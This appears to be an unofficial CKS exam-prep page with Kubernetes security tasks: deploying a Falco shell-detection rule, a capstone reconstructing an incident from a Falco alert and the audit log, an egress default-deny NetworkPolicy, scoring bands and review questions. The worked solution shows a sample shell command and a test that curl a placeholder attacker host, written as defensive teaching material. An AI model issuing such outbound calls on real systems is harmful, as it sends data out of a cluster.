tags: [shell, payments]kubectl -n falco cp payments-shell.yaml falco-abc12:/etc/falco/rules.d/ kubectl -n falco exec falco-abc12 -- falco --validate /etc/falco/rules.d/payments-shell.yaml kubectl -n falco rollout restart daemonset/falco # picks up the new rules file on start kubectl -n payments exec -it deploy/billing -- sh kubectl -n falco logs -l app=falco --tail=20 | grep "Shell spawned in payments" # Warning Shell spawned in payments namespace (user=root pod=billing-7d... container=api shell=sh cmdline=sh)
Why: Falco watches syscalls at the kernel boundary, so it sees a shell get spawned inside a container regardless of whether that shell came from a legitimate kubectl exec or an attacker who's already gained code execution — which is exactly the "behavioral analytics to detect malicious activities" competency, distinct from anything a NetworkPolicy or RBAC rule can catch, since both of those are silent about what happens after a process is already running inside an allowed container.
MR3 · Capstone: correlate a Falco alert with the audit log to reconstruct an attack
Falco just fired an alert: a shell was spawned in payments Pod billing-7d9f, followed seconds later by an outbound connection to an IP outside the cluster. Reconstruct what happened using both the alert and MR1's audit trail — then close the path that made it possible, without breaking normal traffic.
Your task:
- Read the full Falco alert for exact timing, Pod, and process detail.
- Cross-reference the audit log around that timestamp for any
execor RBAC-adjacent request against the same Pod. - Identify which phase of the attack this represents — initial access, execution, or exfiltration — and name the control that was missing.
- Close that specific gap: add an egress NetworkPolicy default-deny for
paymentsif MR1's audit shows none was ever applied, without blocking the legitimate DNS and internal API paths already relied on.
Done when: you can state, in one sentence per phase, how access was gained and how data left the cluster; the new egress NetworkPolicy is applied; and a repeat of the same outbound connection attempt from that Pod now fails while billing's normal internal traffic still works.
Show the worked solution
kubectl -n falco logs -l app=falco --since=10m | grep billing-7d9f
# Warning Shell spawned ... user=root pod=billing-7d9f container=api shell=sh cmdline=sh -c 'curl attacker.example'
grep 'billing-7d9f' /var/log/kubernetes/audit.log | jq -c '{verb, user: .user.username, subresource, time: .requestReceivedTimestamp}'
# {"verb":"create","user":"alice@corp","subresource":"exec","time":"...T14:02:11Z"}
# → a legitimate, human-initiated kubectl exec, at 14:02:11 — access came through a valid credential, not a break-in
kubectl -n payments get networkpolicy
# No resources found — payments never got an egress default-deny; nothing stopped the curl from leavingWhy (the reconstruction): execution — a shell ran inside billing at 14:02:11, initiated by alice@corp's own credential via a legitimate exec subresource call, not an exploited vulnerability; this is a valid-credential misuse, not an intrusion, which the audit log alone proves and Falco alone couldn't. Exfiltration — seconds later, that shell issued an outbound curl to an address outside the cluster, and nothing stopped it because payments had no egress NetworkPolicy at all. The missing control isn't "detect the shell" — Falco already did that — it's "even a legitimate shell shouldn't have an open path to the public internet."
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata: { name: default-deny-egress, namespace: payments }
spec:
podSelector: {}
policyTypes: [Egress]
egress:
- to: [{ namespaceSelector: { matchLabels: { kubernetes.io/metadata.name: kube-system } }, podSelector: { matchLabels: { k8s-app: kube-dns } } }]
ports: [{ protocol: UDP, port: 53 }, { protocol: TCP, port: 53 }]
- to: [{ namespaceSelector: { matchLabels: { kubernetes.io/metadata.name: apps } } }] # billing's real internal dependencieskubectl apply -f payments-egress-deny.yaml kubectl -n payments exec deploy/billing -- timeout 3 curl -s https://attacker.example # now fails, no route kubectl -n payments exec deploy/billing -- nslookup kubernetes.default # still resolves kubectl -n payments exec deploy/billing -- curl -s http://catalog-internal.apps # still reachable
Why (the fix): a shell reaching a Pod through a legitimate credential is a scenario no NetworkPolicy or RBAC rule prevents by itself — exec access is a separate, valid permission in its own right. What egress policy does prevent is the next step: turning that access into data leaving the cluster at all. This is the exact shape of the curriculum's "investigate and identify phases of attack" competency — the fix that matters isn't reacting to the alert, it's recognizing which control, if it had existed beforehand, would have made the alert a non-event.
"People treat the audit log and Falco as two separate things to configure and forget. They're really one instrument. Falco tells you something happened right now. The audit log tells you exactly who and exactly when, days later, after Falco's own alert has scrolled off a dashboard nobody was watching at 3 a.m. MR3 is the task I've seen the most people get half right — they find the alert, they never go back and check whether it was actually a break-in or just someone with too much standing access doing something they were technically allowed to do."
Score yourself, then build a mock
☺ Like you're 10: Same self-scoring bands as the CKA bank — the point isn't the number, it's finding exactly which two or three things to redo tomorrow.
Partial credit is real on the actual exam, so score in bands rather than pass/fail, and read the pattern across all 15 rather than agonizing over any one task.
| Band | Looks like | What it means |
|---|---|---|
| Clean | Done inside 5–7 minutes, "done when" passed first try, docs used only to confirm a field name. | Exam-ready on this one. Move on. |
| Slow | The right answer, but only after the timer had already rung. | A speed problem, not a knowledge gap — drill the exact YAML shapes cold, not the concept again. |
| Wrong shape | You produced something, but the "done when" check fails and you can't immediately see why. | Re-read that domain's section on the CKS blueprint page, then redo the exact task cold tomorrow. |
| Blank | You didn't recognize which control, field, or tool the task even wanted. | A genuine knowledge gap — go to the domain's background reading before you attempt it again. |
Once every task has been attempted at least once cold, sit all 15 back-to-back under a single two-hour timer for the closest rehearsal this bank offers — read every task first and bank the easy ones before returning to the expensive ones, since sequential order is a trap on the real paper too. Assembled, all-new mock papers for this exam live at CKS Mock Exam · Set 1 and Set 2 — save those for once this bank stops holding any surprises, so they stay genuine dress rehearsals rather than a repeat of tasks you've already memorized.
This bank is timed practice, not the full study path — for the domain-weighted calendar it fits into and the prerequisite chain (an active CKA is required to sit the CKS at all), see the CKS study plan; for the hands-on RBAC drill that builds the same muscle on a real cluster, see Harden an RBAC Configuration; and for the full certification ladder this exam sits atop, see Kubernetes Certifications. CKS is also one of the exams on the CNCF's Kubestronaut ladder — the sibling Golden Astronaut course covers the other nine certifications on that path. For a second telling of this same six-domain exam from an adjacent angle, see Platform Engineering's CKS page, DevSecOps's CKS page, and SRE's CKS page.
This page is an independent, unofficial study resource — not affiliated with the CNCF or the Linux Foundation. The domain weights above come from the published CKS curriculum (v1.34) and the exam itself is performance-based, graded entirely on the cluster state you leave behind. Curriculum versions, task style, and logistics (price, duration, task count, pass mark, the permitted-documentation allowlist, and the requirement for an active CKA) change over time — confirm current details on the official Linux Foundation CKS page and the CNCF certification page before you pay for anything, and see the CKS study plan for this course's full logistics table.
Benny: Finished MV2 — the etcd encryption one. Wrote the EncryptionConfiguration, restarted the API server, done.
Ellie: Did you check the Secrets that already existed before you turned it on?
Benny: ...they're still base64 in etcd, aren't they.
Ellie: Encryption only applies going forward. Anything already written stays exactly as exposed as it was until something rewrites it.
Gizmo: Or just leave the old ones — nobody's reading raw etcd bytes off a production node. Probably. 😇
Timmy: "Probably" is exactly the word the CKS exists to remove from that sentence, Gizmo.
Benny: Running the rewrite pass now. Every Secret, not just the new ones.
Ellie: And I'll be checking the audit log to confirm it actually happened, not just trusting the command exited zero.
1. Which three domains carry 20% each, and what do they add up to together? 2. In CS1, why does combining a namespaceSelector and a podSelector inside one from entry behave as an AND rather than an OR? 3. In MV2, why does enabling EncryptionConfiguration not automatically protect Secrets that already existed in etcd? 4. What's the practical difference between what seccomp confines and what AppArmor confines? 5. In SC2, why does pinning the exact certificate-identity-regexp matter more than the fact that an image is signed at all? 6. In MR3, why does the audit log prove something Falco's alert alone cannot?
Check your answers
- Minimize Microservice Vulnerabilities, Supply Chain Security, and Monitoring/Logging/Runtime Security — 20% each, 60% of the exam together.
- Both selectors inside the same
fromlist entry are ANDed — the rule matches only Pods carrying the pod label and living in a namespace carrying the namespace label; putting them in separate list entries would instead OR them, matching either condition alone. - Encryption at write time only applies to objects the API server writes after the config takes effect — anything already stored in etcd keeps its old on-disk representation until something (typically a
get | replacepass) rewrites it under the new provider. - Seccomp confines which syscalls a container's process may make into the kernel; AppArmor confines which filesystem paths (and some other resources) a process may access — they're complementary controls addressing different attack surfaces, not substitutes for each other.
- An unpinned or wildcard identity check would accept a signature from any valid keyless signer, including an attacker who forges their own signed-but-malicious image under a different, unrelated identity — the signature alone proves nothing about trust without pinning exactly whose signature counts.
- Falco reports that a shell was spawned and by which process, but says nothing about the credential or intent behind it; the audit log shows the request came through a legitimate, human-initiated
execcall from a named user, which is what turns "was this an intrusion?" into an answerable question rather than a guess.